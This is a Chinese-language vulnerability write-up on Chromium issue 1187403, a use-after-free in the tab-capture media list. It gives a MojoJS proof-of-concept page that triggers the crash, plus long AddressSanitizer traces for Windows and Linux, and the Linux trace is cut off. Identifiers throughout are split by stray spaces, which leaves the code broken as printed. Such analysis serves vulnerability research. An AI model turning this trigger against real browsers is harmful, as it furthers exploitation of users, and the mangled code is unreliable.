chromium issue 1187403 分析 crash 复现 pocchromium issue 1187403 中描述了一个 UAF 漏洞,PoC 如下…
chromium issue 1187403 分析
crash 复现
poc
chromium issue 1187403 中描述了一个 UAF 漏洞,PoC 如下:
<html>
<head>
<script src="mojo_bindings.js"></script>
<script src="/gen/third_party/b l ink/public/mojom/mediastream/media_stream.mojom.js"></script>
</head>
<body>
<script>
var media_stream = new b l ink.mojom.MediaStreamDispatcherHostPtr();
Mojo.bindInterface(b l ink.mojom.MediaStreamDispatcherHost.name, mojo.makeRequest(media_stream).handle);
var p0 = new b l ink.mojom.StreamControls();
var p1 = new b l ink.mojom.TrackControls(); p1.requested = true; p1.streamType = 9; p1.deviceId = "";
var p2 = new b l ink.mojom.TrackControls(); p2.requested = true; p2.streamType = 9; p2.deviceId = ""; p0.audio = p1; p0.video = p2; p0.hotwordEnabled = false; p0.disableLocalEcho = true; p0.requestPanTiltZoomPermission = false;
var p3 = new b l ink.mojom.StreamSelectionInfo();
var p4 = new mojoB ase.mojom.UnguessableToken(); p4.high= 7773416083151151597; p4.low = 1586930174894638458; p3.strategy = 2; p3.sessionId = p4;
media_stream.generateStream(111,p0,false,p3);
setTimeout(()=>{window.close();},10000);
</script>
</body>
</html>
该段代码尝试分享当前页面上的内容,在 chrome 浏览器中会出现一个要求用户授权的弹出窗口,如下所示:
当该窗口被关闭时,如果该窗口的重绘任务仍然在任务队列中时,该任务会被正常调度。而在相关类中存在该窗口的一个指针缓存,会对该指针进行解引用,从而产生 UAF。
asan 报错
该 crash 在 windows 版和 linux 版的 chrome 中均可触发,在 861450 asan 版 chrome 报错如下。
windows
=================================================================
==100980==ERROR: AddressSanitizer: heap-use-after-free on address 0x128eee2b6180 at pc 0x7fff6bfe4b20 bp 0x00b52a7fe700 sp 0x00b52a7fe748
READ of size 8 at 0x128eee2b6180 thread T0
#0 0x7fff6bfe4b1f in CurrentTabDesktopMediaList::Refresh(bool) C:\b\s\w\ir\cache\builder\src\chrome\browser\media\webrtc\current_tab_desktop_media_list.cc:123:10
#1 0x7fff5f381ca7 in B ase::OnceCallback<void ()>::Run C:\b\s\w\ir\cache\builder\src\B ase\callback.h:102
#2 0x7fff5f381ca7 in B ase::TaskAnnotator::RunTask(char const *, struct B ase::PendingTask *) C:\b\s\w\ir\cache\builder\src\B ase\task\common\task_annotator.cc:168:33
#3 0x7fff61b18777 in B ase::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(class B ase::sequence_manager::LazyNow *) C:\b\s\w\ir\cache\builder\src\B ase\task\sequence_manager\thread_controller_with_message_pump_impl.cc:351:25
#4 0x7fff61b17e59 in B ase::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork(void) C:\b\s\w\ir\cache\builder\src\B ase\task\sequence_manager\thread_controller_with_message_pump_impl.cc:264:36
#5 0x7fff5f4327a0 in B ase::MessagePumpForUI::DoRunLoop(void) C:\b\s\w\ir\cache\builder\src\B ase\message_loop\message_pump_win.cc:220:67
#6 0x7fff5f4308e8 in B ase::MessagePumpWin::Run(class B ase::MessagePump::Delegate *) C:\b\s\w\ir\cache\builder\src\B ase\message_loop\message_pump_win.cc:78:3
#7 0x7fff61b19d6f in B ase::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, class B ase::TimeDelta) C:\b\s\w\ir\cache\builder\src\B ase\task\sequence_manager\thread_controller_with_message_pump_impl.cc:460:12
#8 0x7fff5f303fa3 in B ase::RunLoop::Run(class B ase::Location const &) C:\b\s\w\ir\cache\builder\src\B ase\run_loop.cc:133:14
#9 0x7fff61c403aa in ChromeBrowserMainParts::MainMessageLoopRun(int *) C:\b\s\w\ir\cache\builder\src\chrome\browser\chrome_browser_main.cc:1742:15
#10 0x7fff58c3d6fd in content::BrowserMainLoop::RunMainMessageLoopParts(void) C:\b\s\w\ir\cache\builder\src\content\browser\browser_main_loop.cc:978:29
#11 0x7fff58c4303b in content::BrowserMainRunnerImpl::Run(void) C:\b\s\w\ir\cache\builder\src\content\browser\browser_main_runner_impl.cc:150:15
#12 0x7fff58c36c92 in content::BrowserMain(struct content::MainFunctionParams const &) C:\b\s\w\ir\cache\builder\src\content\browser\browser_main.cc:47:28
#13 0x7fff5f0b5ae4 in content::RunBrowserProcessMain(struct content::MainFunctionParams const &, class content::ContentMainDelegate *) C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc:582:10
#14 0x7fff5f0b83dc in content::ContentMainRunnerImpl::RunBrowser(struct content::MainFunctionParams &, bool) C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc:1067:10
#15 0x7fff5f0b7679 in content::ContentMainRunnerImpl::Run(bool) C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc:945:12
#16 0x7fff5f0b494f in content::RunContentProcess(struct content::ContentMainParams const &, class content::ContentMainRunner *) C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc:372:36
#17 0x7fff5f0b4f4e in content::ContentMain(struct content::ContentMainParams const &) C:\b\s\w\ir\cache\builder\src\content\app\content_main.cc:398:10
#18 0x7fff5523145a in ChromeMain C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_main.cc:141:12
#19 0x7ff7ace25bb5 in MainDllLoader::Launch(struct HINSTANCE__*, class B ase::TimeTicks) C:\b\s\w\ir\cache\builder\src\chrome\app\main_dll_loader_win.cc:169:12
#20 0x7ff7ace22be6 in main C:\b\s\w\ir\cache\builder\src\chrome\app\chrome_exe_main_win.cc:370:20
#21 0x7ff7ad20be5f in invoke_main d:\A01\_work\6\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:78
#22 0x7ff7ad20be5f in __scrt_common_main_seh d:\A01\_work\6\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl:288
#23 0x7ff81be87033 (C:\WINDOWS\System32\KERNEL32.DLL+0x180017033)
#24 0x7ff81c282650 (C:\WINDOWS\SYSTEM32\ntdll.dll+0x180052650)
0x128eee2b6180 is located 0 bytes inside of 1592-byte region [0x128eee2b6180,0x128eee2b67b8)
freed by thread T0 here:
#0 0x7ff7acec441b in free C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_malloc_win.cpp:82#1 0x7fff597d320d in content::RenderWidgetHostViewAura::`scalar deleting dtor'(unsigned int) C:\b\s\w\ir\cache\builder\src\content\browser\renderer_host\render_widget_host_view_aura.h:1954
#2 0x7fff608c3b53 in aura::Window::~Window(void) C:\b\s\w\ir\cache\builder\src\ui\aura\window.cc:164:16
#3 0x7fff608d2c8b in aura::Window::`scalar deleting dtor'(unsigned int) C:\b\s\w\ir\cache\builder\src\ui\aura\window.cc:119:19
#4 0x7fff59798c07 in content::RenderWidgetHostImpl::RendererExited(void) C:\b\s\w\ir\cache\builder\src\content\browser\renderer_host\render_widget_host_impl.cc:2070:12
#5 0x7fff5977934e in content::RenderViewHostImpl::RenderProcessExited(class content::RenderProcessHost *, struct content::ChildProcessTerminationInfo const &) C:\b\s\w\ir\cache\builder\src\content\browser\renderer_host\render_view_host_impl.cc:678:16
#6 0x7fff5974d3b3 in content::RenderProcessHostImpl::ProcessDied(bool, struct content::ChildProcessTerminationInfo *) C:\b\s\w\ir\cache\builder\src\content\browser\renderer_host\render_process_host_impl.cc:4518:14
#7 0x7fff5974cb0f in content::RenderProcessHostImpl::FastShutdownIfPossible(unsigned __int64, bool) C:\b\s\w\ir\cache\builder\src\content\browser\renderer_host\render_process_host_impl.cc:3528:3
#8 0x7fff639ea089 in TabStripModel::CloseWebContentses(class B ase::span<class content::WebContents *const, -1>, unsigned int, struct TabStripModel::DetachNotifications *) C:\b\s\w\ir\cache\builder\src\chrome\browser\ui\tabs\tab_strip_model.cc:1810:19
#9 0x7fff639da1f4 in TabStripModel::InternalCloseTabs(class B ase::span<class content::WebContents *const, -1>, unsigned int) C:\b\s\w\ir\cache\builder\src\chrome\browser\ui\tabs\tab_strip_model.cc:1765:7
#10 0x7fff639da8d9 in TabStripModel::CloseWebContentsAt(int, unsigned int) C:\b\s\w\ir\cache\builder\src\chrome\browser\ui\tabs\tab_strip_model.cc:727:10
#11 0x7fff59aec301 in content::WebContentsImpl::Close(class content::RenderViewHost *) C:\b\s\w\ir\cache\builder\src\content\browser\web_contents\web_contents_impl.cc:6910:16
#12 0x7fff579f885c in b l ink::mojom::LocalMainF rameHostStubDispatch::Accept(class b l ink::mojom::LocalMainF rameHost *, class mojo::Message *) C:\b\s\w\ir\cache\builder\src\out\Release_x64\gen\third_party\b l ink\public\mojom\F rame\F rame.mojom.cc:16786:13
#13 0x7fff5f7c17a6 in mojo::InterfaceEndpointClient::Handle ValidatedMessage(class mojo::Message *) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\interface_endpoint_client.cc:554:54
#14 0x7fff61f56c11 in mojo::MessageDispatcher::Accept(class mojo::Message *) C:\b\s\w\ir\cache\builder\src\mojo\public\cpp\bindings\lib\message_dispatcher.cc:48:24
#15 0x7fff6271dcc0 in IPC::`anonymous namespace'::ChannelAssociatedGroupController::AcceptOnProxyThread C:\b\s\w\ir\cache\builder\src\ipc\ipc_mojo_bootstrap.cc:945:24
#16 0x7fff62717983 in B ase::internal::FunctorTraits<void (IPC::(anonymous namespace)::ChannelAssociatedGroupController::*)(mojo::Message),void>::Invoke C:\b\s\w\ir\cache\builder\src\B ase\bind_internal.h:498
#17 0x7fff62717983 in B ase::internal::InvokeHelper<0,void>::MakeItSo C:\b\s\w\ir\cache\builder\src\B ase\bind_internal.h:637
#18 0x7fff62717983 in B ase::internal::Invoker<B ase::internal::BindState<void (IPC::(anonymous namespace)::ChannelAssociatedGroupController::*)(mojo::Message),scoped_refptr<IPC::(anonymous namespace)::ChannelAssociatedGroupController>,mojo::Message>,void ()>::RunImpl C:\b\s\w\ir\cache\builder\src\B ase\bind_internal.h:710
#19 0x7fff62717983 in B ase::internal::Invoker<B ase::internal::BindState<void (IPC::(anonymous namespace)::ChannelAssociatedGroupController::*)(mojo::Message),scoped_refptr<IPC::(anonymous namespace)::ChannelAssociatedGroupController>,mojo::Message>,void ()>::RunOnce C:\b\s\w\ir\cache\builder\src\B ase\bind_internal.h:679:12
#20 0x7fff5f381ca7 in B ase::OnceCallback<void ()>::Run C:\b\s\w\ir\cache\builder\src\B ase\callback.h:102
#21 0x7fff5f381ca7 in B ase::TaskAnnotator::RunTask(char const *, struct B ase::PendingTask *) C:\b\s\w\ir\cache\builder\src\B ase\task\common\task_annotator.cc:168:33
#22 0x7fff61b18777 in B ase::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(class B ase::sequence_manager::LazyNow *) C:\b\s\w\ir\cache\builder\src\B ase\task\sequence_manager\thread_controller_with_message_pump_impl.cc:351:25
#23 0x7fff61b17e59 in B ase::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork(void) C:\b\s\w\ir\cache\builder\src\B ase\task\sequence_manager\thread_controller_with_message_pump_impl.cc:264:36
#24 0x7fff5f4327a0 in B ase::MessagePumpForUI::DoRunLoop(void) C:\b\s\w\ir\cache\builder\src\B ase\message_loop\message_pump_win.cc:220:67
#25 0x7fff5f4308e8 in B ase::MessagePumpWin::Run(class B ase::MessagePump::Delegate *) C:\b\s\w\ir\cache\builder\src\B ase\message_loop\message_pump_win.cc:78:3
#26 0x7fff61b19d6f in B ase::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, class B ase::TimeDelta) C:\b\s\w\ir\cache\builder\src\B ase\task\sequence_manager\thread_controller_with_message_pump_impl.cc:460:12
#27 0x7fff5f303fa3 in B ase::RunLoop::Run(class B ase::Location const &) C:\b\s\w\ir\cache\builder\src\B ase\run_loop.cc:133:14
#28 0x7fff61c403aa in ChromeBrowserMainParts::MainMessageLoopRun(int *) C:\b\s\w\ir\cache\builder\src\chrome\browser\chrome_browser_main.cc:1742:15
#29 0x7fff58c3d6fd in content::BrowserMainLoop::RunMainMessageLoopParts(void) C:\b\s\w\ir\cache\builder\src\content\browser\browser_main_loop.cc:978:29
#30 0x7fff58c4303b in content::BrowserMainRunnerImpl::Run(void) C:\b\s\w\ir\cache\builder\src\content\browser\browser_main_runner_impl.cc:150:15
#31 0x7fff58c36c92 in content::BrowserMain(struct content::MainFunctionParams const &) C:\b\s\w\ir\cache\builder\src\content\browser\browser_main.cc:47:28
#32 0x7fff5f0b5ae4 in content::RunBrowserProcessMain(struct content::MainFunctionParams const &, class content::ContentMainDelegate *) C:\b\s\w\ir\cache\builder\src\content\app\content_main_runner_impl.cc:582:10
previously allocated by thread T0 here:
#0 0x7ff7acec451b in malloc C:\b\s\w\ir\cache\builder\src\third_party\llvm\compiler-rt\lib\asan\asan_malloc_win.cpp:98
#1 0x7fff7168114a in operator new(unsigned __int64) d:\A01\_work\6\s\src\vctools\crt\vcstartup\src\heap\new_scalar.cpp:35
#2 0x7fff59b11bfb in content::WebContentsViewAura::CreateViewForWidget(class content::RenderWidgetHost *) C:\b\s\w\ir\cache\builder\src\content\browser\web_contents\web_contents_view_aura.cc:945:13
#3 0x7fff59af7936 in content::WebContentsImpl::CreateRenderWidgetHostViewForRenderManager(class content::RenderViewHost *) C:\b\s\w\ir\cache\builder\src\content\browser\web_contents\web_contents_impl.cc:7631:14
#4 0x7fff59af7dcb in content::WebContentsImpl::CreateRenderViewForRenderManager(class content::RenderViewHost *, class B ase::Optional<class b l ink::MultiToken<class util::TokenType<class b l ink::LocalF rameTokenTypeMarker>, class util::TokenType<class b l ink::RemoteF rameTokenTypeMarker>>> const &, class content::RenderF rameProxyHost *) C:\b\s\w\ir\cache\builder\src\content\browser\web_contents\web_contents_impl.cc:7654:5
#5 0x7fff59714907 in content::RenderF rameHostManager::InitRenderView(class content::SiteInstance *, class content::RenderViewHostImpl *, class content::RenderF rameProxyHost *) C:\b\s\w\ir\cache\builder\src\content\browser\renderer_host\render_F rame_host_manager.cc:2688:29
#6 0x7fff5970c3b7 in content::RenderF rameHostManager::ReinitializeMainRenderF rame(class content::RenderF rameHostImpl *) C:\b\s\w\ir\cache\builder\src\content\browser\renderer_host\render_F rame_host_manager.cc:2905:8
#7 0x7fff5970a5b1 in content::RenderF rameHostManager::GetF rameHostForNavigation(class content::NavigationRequest *, class std::__1::basic_string<char, struct std::__1::char_traits<char>, class std::__1::allocator<char>> *) C:\b\s\w\ir\cache\builder\src\content\browser\renderer_host\render_F rame_host_manager.cc:948:10
#8 0x7fff597097e0 in content::RenderF rameHostManager::DidCreateNavigationRequest(class content::NavigationRequest *) C:\b\s\w\ir\cache\builder\src\content\browser\renderer_host\render_F rame_host_manager.cc:722:37
#9 0x7fff5948f4f4 in content::F rameTreeNode::CreatedNavigationRequest(class std::__1::unique_ptr<class content::NavigationRequest, struct std::__1::default_delete<class content::NavigationRequest>>) C:\b\s\w\ir\cache\builder\src\content\browser\renderer_host\F rame_tree_node.cc:517:21
#10 0x7fff5964a1c1 in content::Navigator::Navigate(class std::__1::unique_ptr<class content::NavigationRequest, struct std::__1::default_delete<class content::NavigationRequest>>, enum content::ReloadType) C:\b\s\w\ir\cache\builder\src\content\browser\renderer_host\navigator.cc:540:20
#11 0x7fff595c6290 in content::NavigationControllerImpl::NavigateWithoutEntry(struct content::NavigationController::LoadURLParams const &) C:\b\s\w\ir\cache\builder\src\content\browser\renderer_host\navigation_controller_impl.cc:3168:21#12 0x7fff595c547f in content::NavigationControllerImpl::LoadURLWithParams(struct content::NavigationController::LoadURLParams const &) C:\b\s\w\ir\cache\builder\src\content\browser\renderer_host\navigation_controller_impl.cc:1042:3
[89408:11988:0702/113556.407:ERROR:gpu_init.cc(430)] Passthrough is not supported, GL is disabled
#13 0x7fff6165a651 in `anonymous namespace'::LoadURLInContents C:\b\s\w\ir\cache\builder\src\chrome\browser\ui\browser_navigator.cc:385:36
#14 0x7fff61657c58 in Navigate(struct NavigateParams *) C:\b\s\w\ir\cache\builder\src\chrome\browser\ui\browser_navigator.cc:660:7
#15 0x7fff68b60421 in StartupBrowserCreatorImpl::OpenTabsInBrowser(class Browser *, bool, class std::__1::vector<struct StartupTab, class std::__1::allocator<struct StartupTab>> const &) C:\b\s\w\ir\cache\builder\src\chrome\browser\ui\startup\startup_browser_creator_impl.cc:273:5
#16 0x7fff68b62134 in StartupBrowserCreatorImpl::RestoreOrCreateBrowser(class std::__1::vector<struct StartupTab, class std::__1::allocator<struct StartupTab>> const &, enum StartupBrowserCreatorImpl::BrowserOpenBehavior, unsigned int, bool, bool) C:\b\s\w\ir\cache\builder\src\chrome\browser\ui\startup\startup_browser_creator_impl.cc:521:13
#17 0x7fff68b5f693 in StartupBrowserCreatorImpl::DetermineURLsAndLaunch(bool, class std::__1::vector<class GURL, class std::__1::allocator<class GURL>> const &) C:\b\s\w\ir\cache\builder\src\chrome\browser\ui\startup\startup_browser_creator_impl.cc:385:22
#18 0x7fff68b5ecf2 in StartupBrowserCreatorImpl::Launch(class Profile *, class std::__1::vector<class GURL, class std::__1::allocator<class GURL>> const &, bool, class std::__1::unique_ptr<class LaunchModeRecorder, struct std::__1::default_delete<class LaunchModeRecorder>>) C:\b\s\w\ir\cache\builder\src\chrome\browser\ui\startup\startup_browser_creator_impl.cc:186:3
#19 0x7fff64ae0fd0 in StartupBrowserCreator::LaunchBrowser(class B ase::CommandLine const &, class Profile *, class B ase::FilePath const &, enum chrome::startup::IsProcessStartup, enum chrome::startup::IsFirstRun, class std::__1::unique_ptr<class LaunchModeRecorder, struct std::__1::default_delete<class LaunchModeRecorder>>) C:\b\s\w\ir\cache\builder\src\chrome\browser\ui\startup\startup_browser_creator.cc:573:13
#20 0x7fff64ae68d9 in StartupBrowserCreator::LaunchBrowserForLastProfiles(class B ase::CommandLine const &, class B ase::FilePath const &, bool, class Profile *, class std::__1::vector<class Profile *, class std::__1::allocator<class Profile *>> const &) C:\b\s\w\ir\cache\builder\src\chrome\browser\ui\startup\startup_browser_creator.cc:1056:14
#21 0x7fff64ae06ae in StartupBrowserCreator::ProcessCmdLineImpl(class B ase::CommandLine const &, class B ase::FilePath const &, bool, class Profile *, class std::__1::vector<class Profile *, class std::__1::allocator<class Profile *>> const &) C:\b\s\w\ir\cache\builder\src\chrome\browser\ui\startup\startup_browser_creator.cc:984:10
#22 0x7fff64adedb1 in StartupBrowserCreator::Start(class B ase::CommandLine const &, class B ase::FilePath const &, class Profile *, class std::__1::vector<class Profile *, class std::__1::allocator<class Profile *>> const &) C:\b\s\w\ir\cache\builder\src\chrome\browser\ui\startup\startup_browser_creator.cc:525:10
#23 0x7fff61c3db13 in ChromeBrowserMainParts::PreMainMessageLoopRunImpl(void) C:\b\s\w\ir\cache\builder\src\chrome\browser\chrome_browser_main.cc:1648:25
#24 0x7fff61c3b534 in ChromeBrowserMainParts::PreMainMessageLoopRun(void) C:\b\s\w\ir\cache\builder\src\chrome\browser\chrome_browser_main.cc:1043:18
#25 0x7fff58c3d480 in content::BrowserMainLoop::PreMainMessageLoopRun(void) C:\b\s\w\ir\cache\builder\src\content\browser\browser_main_loop.cc:952:13
#26 0x7fff599ed9f9 in B ase::OnceCallback<int ()>::Run C:\b\s\w\ir\cache\builder\src\B ase\callback.h:102
#27 0x7fff599ed9f9 in content::StartupTaskRunner::RunAllTasksNow(void) C:\b\s\w\ir\cache\builder\src\content\browser\startup_task_runner.cc:41:29
#28 0x7fff58c3a75e in content::BrowserMainLoop::CreateStartupTasks(void) C:\b\s\w\ir\cache\builder\src\content\browser\browser_main_loop.cc:862:25
#29 0x7fff58c424f8 in content::BrowserMainRunnerImpl::Initialize(struct content::MainFunctionParams const &) C:\b\s\w\ir\cache\builder\src\content\browser\browser_main_runner_impl.cc:129:15
SUMMARY: AddressSanitizer: heap-use-after-free C:\b\s\w\ir\cache\builder\src\chrome\browser\media\webrtc\current_tab_desktop_media_list.cc:123:10 in CurrentTabDesktopMediaList::Refresh(bool)
Shadow bytes around the buggy address:
0x04aacbe56be0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x04aacbe56bf0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x04aacbe56c00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x04aacbe56c10: fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x04aacbe56c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x04aacbe56c30:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x04aacbe56c40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x04aacbe56c50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x04aacbe56c60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x04aacbe56c70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x04aacbe56c80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user:f7
Container overflow: fc
Array cookie:ac
Intra o bject redzone:bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone:cb
Shadow gap: cc
==100980==ABORTING
linux
=================================================================
==188105==ERROR: AddressSanitizer: heap-use-after-free on address 0x61b000106180 at pc 0x55944dcee06b bp 0x7ffeed379930 sp 0x7ffeed379928
READ of size 8 at 0x61b000106180 thread T0 (chrome)
[188138:188170:0702/112523.822342:ERROR:ssl_client_socket_impl.cc(947)] handshake failed; returned -1, SSL error code 1, net_error -101
[188138:188170:0702/112523.822563:ERROR:ssl_client_socket_impl.cc(947)] handshake failed; returned -1, SSL error code 1, net_error -101
[188138:188170:0702/112523.825226:ERROR:ssl_client_socket_impl.cc(947)] handshake failed; returned -1, SSL error code 1, net_error -101
#0 0x55944dcee06a in CurrentTabDesktopMediaList::Refresh(bool) chrome/browser/media/webrtc/current_tab_desktop_media_list.cc:123:10
#1 0x55944dceb728 in Invoke<void (DesktopMediaListB ase::*)(bool), B ase::WeakPtr<DesktopMediaListB ase>, bool> B ase/bind_internal.h:498:12
#2 0x55944dceb728 in MakeItSo<void (DesktopMediaListB ase::*)(bool), B ase::WeakPtr<DesktopMediaListB ase>, bool> B ase/bind_internal.h:657:5
#3 0x55944dceb728 in RunImpl<void (DesktopMediaListB ase::*)(bool), std::tuple<B ase::WeakPtr<DesktopMediaListB ase>, bool>, 0, 1> B ase/bind_internal.h:710:12
#4 0x55944dceb728 in B ase::internal::Invoker<B ase::internal::BindState<void (DesktopMediaListB ase::*)(bool), B ase::WeakPtr<DesktopMediaListB ase>, bool>, void ()>::RunOnce(B ase::internal::BindStateB ase*) B ase/bind_internal.h:679:12
#5 0x55944c9aeae6 in Run B ase/callback.h:101:12
#6 0x55944c9aeae6 in B ase::TaskAnnotator::RunTask(char const*, B ase::PendingTask*) B ase/task/common/task_annotator.cc:168:33
#7 0x55944c9ea307 in B ase::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(B ase::sequence_manager::LazyNow*) B ase/task/sequence_manager/thread_controller_with_message_pump_impl.cc:351:25
#8 0x55944c9e9b34 in B ase::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() B ase/task/sequence_manager/thread_controller_with_message_pump_impl.cc:264:36
#9 0x55944c8ac699 in HandleDispatch B ase/message_loop/message_pump_glib.cc:374:46
#10 0x55944c8ac699 in B ase::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) B ase/message_loop/message_pump_glib.cc:124:43
#11 0x7f5f672dce6a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x51e6a)
0x61b000106180 is located 0 bytes inside of 1560-byte region [0x61b000106180,0x61b000106798)
freed by thread T0 (chrome) here:
#0 0x5594401d064d in operator delete(void*) /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cpp:160:3
#1 0x559452359099 in aura::Window::~Window() ui/aura/window.cc:164:16
#2 0x55945235aa0d in aura::Window::~Window() ui/aura/window.cc:119:19
#3 0x559445d59589 in content::RenderWidgetHostImpl::RendererExited() content/browser/renderer_host/render_widget_host_impl.cc:2070:12
#4 0x559445d309a9 in RenderProcessExited content/browser/renderer_host/render_view_host_impl.cc:678:16
#5 0x559445d309a9 in non-virtual thunk to content::RenderViewHostImpl::RenderProcessExited(content::RenderProcessHost*, content::ChildProcessTerminationInfo const&) content/browser/renderer_host/render_view_host_impl.cc
#6 0x559445ce3560 in content::RenderProcessHostImpl::ProcessDied(bool, content::ChildProcessTerminationInfo*) content/browser/renderer_host/render_process_host_impl.cc:4518:14
#7 0x559445ce2a22 in content::RenderProcessHostImpl::FastShutdownIfPossible(unsigned long, bool) content/browser/renderer_host/render_process_host_impl.cc:3528:3
#8 0x559457b53853 in TabStripModel::CloseWebContentses(B ase::span<content::WebContents* const, 18446744073709551615ul>, unsigned int, TabStripModel::DetachNotifications*) chrome/browser/ui/tabs/tab_strip_model.cc:1810:19
#9 0x559457b3f06f in TabStripModel::InternalCloseTabs(B ase::span<content::WebContents* const, 18446744073709551615ul>, unsigned int) chrome/browser/ui/tabs/tab_strip_model.cc:1765:7
#10 0x559457b3f881 in TabStripModel::CloseWebContentsAt(int, unsigned int) chrome/browser/ui/tabs/tab_strip_model.cc:727:10
#11 0x55944617f9bf in Close content/browser/web_contents/web_contents_impl.cc:6910:16
#12 0x55944617f9bf in non-virtual thunk to content::WebContentsImpl::Close(content::RenderViewHost*) content/browser/web_contents/web_contents_impl.cc
#13 0x559442ddf8bf in b l ink::mojom::LocalMainF rameHostStubDispatch::Accept(b l ink::mojom::LocalMainF rameHost*, mojo::Message*) gen/third_party/b l ink/public/mojom/F rame/F rame.mojom.cc:16786:13
#14 0x55944e375d0a in mojo::InterfaceEndpointClient::Handle ValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:554:54
#15 0x55944e381b5a in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:48:24
#16 0x55944fcd6b89 in IPC::(anonymous namespace)::ChannelAssociatedGroupController::AcceptOnProxyThread(mojo::Message) ipc/ipc_mojo_bootstrap.cc:945:24
#17 0x55944fccf464 in Invoke<void (IPC::(anonymous namespace)::ChannelAssociatedGroupController::*)(mojo::Message), scoped_refptr<IPC::(anonymous namespace)::ChannelAssociatedGroupController>, mojo::Message> B ase/bind_internal.h:498:12
#18 0x55944fccf464 in MakeItSo<void (IPC::(anonymous namespace)::ChannelAssociatedGroupController::*)(mojo::Message), scoped_refptr<IPC::(anonymous namespace)::ChannelAssociatedGroupController>, mojo::Message> B ase/bind_internal.h:637:12
#19 0x55944fccf464 in RunImpl<void (IPC::(anonymous namespace)::ChannelAssociatedGroupController::*)(mojo::Message), std::tuple<scoped_refptr<IPC::(anonymous namespace)::ChannelAssociatedGroupController>, mojo::Message>, 0, 1> B ase/bind_internal.h:710:12
#20 0x55944fccf464 in B ase::internal::Invoker<B ase::internal::BindState<void (IPC::(anonymous namespace)::ChannelAssociatedGroupController::*)(mojo::Message), scoped_refptr<IPC::(anonymous namespace)::ChannelAssociatedGroupController>, mojo::Message>, void ()>::RunOnce(B ase::internal::BindStateB ase*) B ase/bind_internal.h:679:12
#21 0x55944c9aeae6 in Run B ase/callback.h:101:12
#22 0x55944c9aeae6 in B ase::TaskAnnotator::RunTask(char const*, B ase::PendingTask*) B ase/task/common/task_annotator.cc:168:33
#23 0x55944c9ea307 in B ase::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(B ase::sequence_manager::LazyNow*) B ase/task/sequence_manager/thread_controller_with_message_pump_impl.cc:351:25
#24 0x55944c9e9b34 in B ase::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() B ase/task/sequence_manager/thread_controller_with_message_pump_impl.cc:264:36
#25 0x55944c8ab920 in B ase::MessagePumpGlib::Run(B ase::MessagePump::Delegate*) B ase/message_loop/message_pump_glib.cc:404:48
#26 0x55944c9eb42c in B ase::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, B ase::TimeDelta) B ase/task/sequence_manager/thread_controller_with_message_pump_impl.cc:460:12
#27 0x55944c92b301 in B ase::RunLoop::Run(B ase::Location const&) B ase/run_loop.cc:133:14
#28 0x55944d407e48 in ChromeBrowserMainParts::MainMessageLoopRun(int*) chrome/browser/chrome_browser_main.cc:1742:15
#29 0x559445002040 in content::BrowserMainLoop::RunMainMessageLoopParts() content/browser/browser_main_loop.cc:978:29
#30 0x559445006ec5 in content::BrowserMainRunnerImpl::Run() content/browser/browser_main_runner_impl.cc:150:15
#31 0x559444ffb385 in content::BrowserMain(content::MainFunctionParams const&) content/browser/browser_main.cc:47:28
#32 0x55944c688845 in RunBrowserProcessMain content/app/content_main_runner_impl.cc:582:10
#33 0x55944c688845 in content::ContentMainRunnerImpl::RunBrowser(content::MainFunctionParams&, bool) content/app/content_main_runner_impl.cc:1067:10
#34 0x55944c687bb7 in content::ContentMainRunnerImpl::Run(bool) content/app/content_main_runner_impl.cc:945:12
#35 0x55944c682076 in content::RunContentProcess(content::ContentMainParams const&, content::ContentMainRunner*) content/app/content_main.cc:372:36
#36 0x55944c6825cc in content::ContentMain(content::ContentMainParams const&) content/app/content_main.cc:398:10
previously allocated by thread T0 (chrome) here:
#0 0x5594401cfded in operator new(unsigned long) /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cpp:99:3
